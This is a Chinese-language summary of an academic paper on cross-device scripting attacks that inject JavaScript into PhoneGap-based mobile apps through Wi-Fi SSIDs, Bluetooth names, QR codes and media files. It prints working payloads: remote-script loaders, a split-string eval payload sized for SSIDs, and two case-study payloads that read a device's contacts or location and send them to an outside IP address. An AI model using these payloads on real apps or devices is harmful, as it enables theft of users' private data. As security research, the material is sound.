作者:
奪吻狂魔
·
2014/04/23 19:52
from:http://www.cis.syr.edu/~wedu/Research/paper/xds_attack.pdf
0x00 摘要
基於HTML5的移動應用程式變得越來越於流行,主要是因為他們更容易在不同的移動平臺進行移植。基於HTML5的應用程式使用標準的Web技術,包括HTML5 , JavaScript和CSS;它們依賴於一些如PhoneGap的中介軟體與底層的作業系統進行互動。
JavaScript是容易受到程式碼注入攻擊的,我們已經進行了基於HTML5移動應用系統的研究,試圖評估依靠Web技術的移動應用開發是否是安全的。我們的發現是相當驚人的:如果基於HTML5的移動應用變得流行,似乎根據當前所調查的結果,我們每天常做的操作可能會變得危險,包括二維條碼讀取,掃描Wi-Fi接入點,播放MP4影片,配對藍芽裝置等。
除了透過例項的應用程式演示的攻擊,我們已經研究了186個PhoneGap的外掛,使用應用程式來實現各種功能,發現其中11是可被攻擊的。還發現了兩個現實當中的基於HTML5的應用程式,很容易受到攻擊。
0x01 背景
基於HTML5的移動應用程式大多數不能直接執行在移動系統,如Android和iOS ,因為這些系統不支援HTML5和JavaScript本身; Web容器需要渲染HTML5以及執行JavaScript程式碼。
大多數移動系統有這樣的容器:在Android中它是WebView,iOS中是UIWebView,Windows Phone中是WebBrowser。為簡單起見,我們以下都用WebView來表述。
WebView: WebView中最初被設計為允許本地應用程式處理和顯示網頁內容。它基本上包的網路瀏覽功能組合成一個類,可以嵌入到一個應用程式,基本上是網頁瀏覽器應用程式的元件。用WebView中提供的API ,移動應用程式還可以自定義WebView裡面的HTML頁面。
由於WebView中用於載入Web內容,它通常是不可信的, WebView像瀏覽器一樣實現了一個沙盒,使內部的JavaScript程式碼只能在一個獨立的環境中執行。
這樣的沙箱適用於網頁內容,但對於移動應用程式限制還是太大,因為它不能訪問系統資源,如檔案,裝置感測器,照相機等。
WebView在JavaScript程式碼和本機程式碼(例如, Java的)之間搭建了一個的橋樑。這座橋可讓JavaScript程式碼來呼叫主機程式碼。
已經有人開發了幾個中介軟體框架,包括PhoneGap , Rhomobile, Appcelerator等。
在本文中,我們選擇把重點放在最流行的PhoneGap。然而,我們的攻擊也可以應用於其他中介軟體。
PhoneGap和PhoneGap外掛:PhoneGap幫助開發人員建立使用基於HTML5標準的移動應用程式Web。開發人員在HTML,JavaScript和CSS中寫應用程式。該PhoneGap的框架預設情況下嵌入一個WebView中例項的應用程式,並依靠這個WebView來呈現HTML頁面和執行JavaScript程式碼。
PhoneGap架構圖
0x02 XDS攻擊
有兩種方式可以讓JavaScript的字串當成程式碼執行,一種是利用eval() API,另一種是透過DOM API和屬性,如document.write(), appendChild(), innerHTML等。一些jQuery的展示API也有問題,例如html()和append()。
#!html
// Using Script Tag.
<script>alert(’attack’)</script>...Data...
// Using the IMG Tag’s onerror attribute.
<IMG src=x onerror="alert(’attack’)">...Data...
DOM(jQuery)展示API和屬性(勾表示能觸發,叉表示不能出發)。
ID Channels
在某些情況下,在移動裝置建立與外部建立連線之前,它從外部獲對應ID,並顯示給使用者。我們研究如何這樣的ID通道利用惡意程式碼注入到移動裝置當中。
Wi-Fi AP
找到附近的Wi -Fi接入點,許多智慧手機使用者安裝某些Wi-Fi掃描器程式,掃描附近可用的Wi-Fi熱點,並顯示他們的服務集識別符號(SSID )。
為了演示攻擊,我們設定SSID下面的JavaScript程式碼:
#!html
<script>alert('attack')</script>
程式展示使用java寫的所以不會執行js程式碼:
非PhoneGap應用
使用PhoneGap實現的,SSID將在WebView中顯示,這個程式使用html() API展示的SSID導致JavaScript程式碼執行。
PhoneGap應用
同時藍芽當中也可能出現類似的問題。
NFC讀取軟體當中:
非PhoneGap應用
PhoneGap應用
二維碼掃描:
非PhoneGap應用
PhoneGap應用
MP3, MP4, and Images
非PhoneGap應用
PhoneGap應用
等等……
0x04 限制
在各場景中的長度限制
可以看到Wi-Fi當中長度限制的最短。
可使用程式碼:
#!html
<script src=//mu.gl></script
img標籤的話:
#!html
<img src onerror=d=document;b=d.createElement(’script’);d.body.appendChild(b);b.src=’http://mu.gl’>
如果有使用jQuery的話:
#!html
<img src onerror=$.getScript('http://mu.gl')>
如果要在SSID當中使用的話,可以使用經典的分割程式碼的方式:
#!html
<img src onerror=a="$.getScr">
<img src onerror=b="ipt(’ht">
<img src onerror=c="tp://mu.">
<img src onerror=d="gl’)">
<img src onerror=eval(a+b+c+d)>
0x06 案例研究
看看現實當中是否有app可以被攻擊:
案例1 : GWT Mobile PhoneGap Showcase。
這是一個PhoneGap的演示應用程式,它向開發人員展示瞭如何使用PhoneGap的和其外掛。該應用程式包括了所有的內建外掛和三個第三方外掛,ChildBrowser外掛,藍芽外掛, Facebook外掛。
該app使用innerHTML來顯示藍芽裝置的名稱。我們把藍芽名稱改成攻擊程式碼試一下:
#!html
< img src = x onerror = PhoneGap.exec(function(a) {
m = '';
for (i = 0; i < a.length; i++) {
m += a[i].displayName + '\n';
}
alert(m);
document.write('<img src=http://128.230.213.66:5556?c=' + m + '>');
},
function(e) {},
'Contacts', 'search', [['displayName'], {}]) >
案例2:RewardingYourself應用程式。
掃描二維碼的程式,展示使用的innerHTML,我們在二維碼當中插入如下程式碼:
#!html
< img src = x onerror =
navigator.geolocation.watchPosition(
function(loc) {
m = 'Latitude: ' + loc.coords.latitude +
'\n' + 'Longitude: ' + loc.coords.longitude;
alert(m);
b = document.createElement('img');
b.src = 'http: //128.230.213.66:5556?c='+m })>
使用geolocation.watchPosition獲取當前位置。
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!